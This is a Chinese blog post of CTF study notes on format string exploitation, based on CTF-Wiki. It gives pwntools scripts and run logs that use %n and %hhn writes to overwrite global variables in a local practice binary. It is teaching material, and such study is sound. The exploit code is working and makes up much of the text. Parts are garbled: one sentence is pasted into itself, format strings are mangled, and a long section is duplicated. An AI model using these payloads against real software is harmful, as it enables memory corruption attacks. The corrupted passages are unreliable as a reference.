    首先,我們來考慮一下如何修改data段的變量為一個較小的數字,比如說,小于機器字長的數字。這里以 2 為例??赡軙X得這其實沒有什么區別,可仔細一想,真的沒有么?如果我們還是將要覆蓋的地址放在最前面,那么將直接占用機器字長個 (4 或 8) 字節。顯然,無論之后如何輸出,都只會比 4 大。

    或許我們可以使用整型溢出來修改對應的地址的值,但是這樣將面臨著我們得一次輸出大量的內容。而這,一般情況下,基本都不會攻擊成功。

    那么我們應該怎么做呢?再仔細想一下,我們有必要將所要覆蓋的變量的地址放在字符串的最前面么?似乎沒有,我們當時只是為了尋找偏移,所以才把 tag 放在字符串的最前面,如果我們把 tag 放在中間,其實也是無妨的。類似的,我們把地址放在中間,只要能夠找到對應的偏移,其照樣也可以得到對應的數值。前面已經說了我們的格式化字符串對應的地址為格式化字符串的第 6 個參數。由于我們想要把 2 寫到對應的地址處,故而格式化字符串的前面的字節必須是

    aa%k$nxx //'k$'表示獲取格式化字符串中的第k個參數,'%n'表示把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量。這里已經成功輸出的字符為'aa',所以把2寫入地址為a_addr處,也就是把a的值覆蓋為2.

    此時對應的存儲的格式化字符串(%knxx)已經占據了6個字符的位置,如果我們再添加兩個字符aa,那么其實aanxx)已經占據了6個字符的位置,如果我們再添加兩個字符aa,那么其實aa%k就是第6個參數(4個字符為1個參數),nxx)6aaaanxx其實就是第7個參數,后面我們如果跟上我們要覆蓋的地址,那就是第8個參數,所以如果我們這里設置k為8,其實就可以覆蓋了。

    利用 ida 可以得到 a 的地址為 0x0804A024(由于 a、b 是已初始化的全局變量,因此不在堆棧中)。

    .data:0804A024 public a .data:0804A024 a dd 7Bh ; DATA XREF: main:loc_80484F4↑r .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510↑r .data:0804A028 _data ends

    故而我們可以構造如下的利用代碼

    from pwn import * def fora():sh = process('./overflow_1')a_addr = 0x0804A024payload = 'aa%8$naa' + p32(a_addr)sh.sendline(payload)print sh.recv() sh.interactive() fora()

    對應的結果如下

    devil@ubuntu:~$ python test.py [+] Starting local process './overflow_1': pid 5353 0xff820b7c aaaa$\xa0\x04modified a for a small number.[*] Switching to interactive mode [*] Process './overflow_1' stopped with exit code 0 (pid 5353) [*] Got EOF while reading in interactive

    小技巧:我們沒有必要必須把地址放在最前面,放在哪里都可以,只要我們可以找到其對應的偏移即可。

    覆蓋大數字

    上面介紹了覆蓋小數字,接下來介紹一下覆蓋大數字。上面我們說了,我們可以選擇直接一次性輸出大數字個字節來進行覆蓋,但是這樣基本也不會成功,因為太長了。而且即使成功,我們一次性等待的時間也太長了,那么有沒有什么比較好的方式呢?__當然有!(不然還寫個p的筆記)

    不過在介紹之前,我們得先再簡單了解一下,變量在內存中的存儲格式。首先,所有的變量在內存中都是以字節進行存儲的。此外,在x86和x64的體系結構中,變量的存儲格式為小端存儲,即最低有效位存儲在低地址(和我們通常習慣的順序相反)。

    舉個例子,0x12345678在內存中由低地址到高地址依次為\x78\x56\x34\x12。再者,我們可以回憶一下格式化字符串里面的標志,可以發現有這么兩個標志:

    hh 對于整數類型,printf期待一個從char提升的int尺寸的整型參數。輸出一個字節 h 對于整數類型,printf期待一個從short提升的int尺寸的整型參數。輸出一個雙字節

    所以說,我們可以利用 %hhn 向某個地址寫入單字節,利用 %hn 向某個地址寫入雙字節。這里,我們以單字節為例。

    我們準備覆蓋b的值,先用ida看一下b的地址為多少

    .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF:

    可以看出,b的地址為0x0804A028

    我們希望將按照如下方式進行覆蓋,前面為覆蓋地址,后面為覆蓋內容。

    0x0804A028 \x78 0x0804A029 \x56 0x0804A02a \x34 0x0804A02b \x12

    我們在前面確定相對偏移的過程中確定了格式化字符串的地址是格式化字符串的第6個參數。所以我們的payload基本上如下

    p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3'%8$n'+pad4'%9$n'

    給出一個基本構造如下:

    from pwn import * def fmt(prev,word,index):if prev < word: #傳過來的word依次為0x78,0x56,0x34,0x12;傳過來的prev依次為4,0x78,0x56,0x34result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" print(fmtstr)return fmtstrdef fmt_str(offset,size,addr,target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev,(target >> i * 8)& 0xff,offset + i)#乘法運算優先級高于左移運算,右移8位是二進制的8位,轉成16進制之后就是每次右移兩位。'&0xff'目的是除了最右邊兩位不變,其它位都置零。prev = (target >> i * 8) & 0xff #prev的初值為4,之后依次為0x78,0x56,0x34,0x12return payload payload = fmt_str(6,4,0x0804A028,0x12345678)

    其中每個參數的含義基本如下

    • offset表示要覆蓋的地址的最初的偏移
    • size表示機器字長
    • addr表示將要覆蓋的地址
    • target表示我們要覆蓋為的目的變量值

    說實話一開始沒太看懂這個payload的構造,于是我一步步分析了程序并先打印了這個fmt()函數的運行結果

    python運算中,乘法優先級在右移優先級之前。

    pre1 = (0x12345678) >> 0 * 8

    pre1 --> 0x12345678

    pre2 = pre1 & 0xff

    pre2 -->0x78

    fmt函數運行結果如下

    %104c%6hhnhhn %222c%7hhnhhn
    %222c%8hhnhhn %222c%9hhnhhn

    payload結果如下

    (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6hhnhhn%222c%7hhnhhn%222c%8hhnhhn%222c%9hhnhhn

    payload前面一段是p32形式的攻擊地址 后面%(num)c%(index)$hhn表示向第index個參數處以單字節的形式寫入特定數值[0x78,0x56,0x34,0x12]

    完整的exploit如下

    #-*- coding=utf-8 -*- from pwn import * def fmt(prev,word,index):if prev < word: #傳過來的word依次為0x78,0x56,0x34,0x12;傳過來的prev依次為0x10,0x78,0x56,0x34result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" print(fmtstr)return fmtstrdef fmt_str(offset,size,addr,target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev,(target >> i * 8)& 0xff,offset + i)#乘法運算優先級高于左移運算,右移8位是二進制的8位,轉成16進制之后就是每次右移兩位。'&0xff'目的是除了最右邊兩位不變,其它位都置零。prev = (target >> i * 8) & 0xff #prev的初值為4,之后依次為0x78,0x56,0x34,0x12return payload def proc():sh = process("./overflow_1")payload = fmt_str(6,4,0x0804A028,0x12345678)print(payload)sh.sendline(payload)print(sh.recv())sh.interactive()proc()

    結果如下

    devil@ubuntu:~$ python exploit.py [+] Starting local process './overflow_1': pid 2780 %104c%6$hhn %222c%7$hhn %222c%8$hhn %222c%9$hhn (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn 0xff97f18c (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04 ( � \xbb Nmodified b for a big number![*] Switching to interactive mode [*] Got EOF while reading in interactive

    fmt()函數里的else部分我看了好久都沒弄明白,為什么第一次寫入0x78,后面還能寫入0x56,0x34,0x12。因為寫入的值是根據前面成功輸出的字符個數來決定的,怎么會越寫越小呢?

    else:result = 256 + word - prevfmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn"

    result = 256 + word - prev,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我們想要寫入的第二個值,那么為什么又要加256呢?

    %hhn是具有溢出功能的,前面成功輸出的字符個數超過255就會從0重新開始計數(比如260就相當于260-256=4)。所以加256并不影響結果,那這里為什么要加256呢?因為word-prev的值是負數,不能直接使用%[num]c (num為負數),于是先加256,在后面計算輸出字符個數的時候會自動減去256。這時候就相當于寫入了0x56,后面的0x34,0x12依次類推。

    當然,我們也可以利用 %n 分別對每個地址進行寫入,也可以得到對應的答案,但是由于我們寫入的變量都只會影響由其開始的四個字節,所以最后一個變量寫完之后,我們可能會修改之后的三個字節,如果這三個字節比較重要的話,程序就有可能因此崩潰。而采用 %hhn 則不會有這樣的問題,因為這樣只會修改相應地址的一個字節。

    上面是CTF-Wiki寫的,我個人的理解是用%n寫入0x12345678這個數據,%n是把已經成功輸出字符的個數寫入對應指針指向的整型(int)變量,整型(int)變量占4個字節,但是使用%hhn只會修改1個字節。

    � \xbb Nmodified b for a big number!

    [] Switching to interactive mode
    [] Got EOF while reading in interactive

    fmt()函數里的else部分我看了好久都沒弄明白,為什么第一次寫入0x78,后面還能寫入0x56,0x34,0x12。因為寫入的值是根據前面成功輸出的字符個數來決定的,怎么會越寫越小呢?```python else:result = 256 + word - prevfmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn"

    result = 256 + word - prev,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我們想要寫入的第二個值,那么為什么又要加256呢?

    %hhn是具有溢出功能的,前面成功輸出的字符個數超過255就會從0重新開始計數(比如260就相當于260-256=4)。所以加256并不影響結果,那這里為什么要加256呢?因為word-prev的值是負數,不能直接使用%[num]c (num為負數),于是先加256,在后面計算輸出字符個數的時候會自動減去256。這時候就相當于寫入了0x56,后面的0x34,0x12依次類推。

    當然,我們也可以利用 %n 分別對每個地址進行寫入,也可以得到對應的答案,但是由于我們寫入的變量都只會影響由其開始的四個字節,所以最后一個變量寫完之后,我們可能會修改之后的三個字節,如果這三個字節比較重要的話,程序就有可能因此崩潰。而采用 %hhn 則不會有這樣的問題,因為這樣只會修改相應地址的一個字節。

    上面是CTF-Wiki寫的,我個人的理解是用%n寫入0x12345678這個數據,%n是把已經成功輸出字符的個數寫入對應指針指向的整型(int)變量,整型(int)變量占4個字節,但是使用%hhn只會修改1個字節。

    總結

    以上是生活随笔為你收集整理的跟着CTF-Wiki学pwn|格式化字符串(1)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。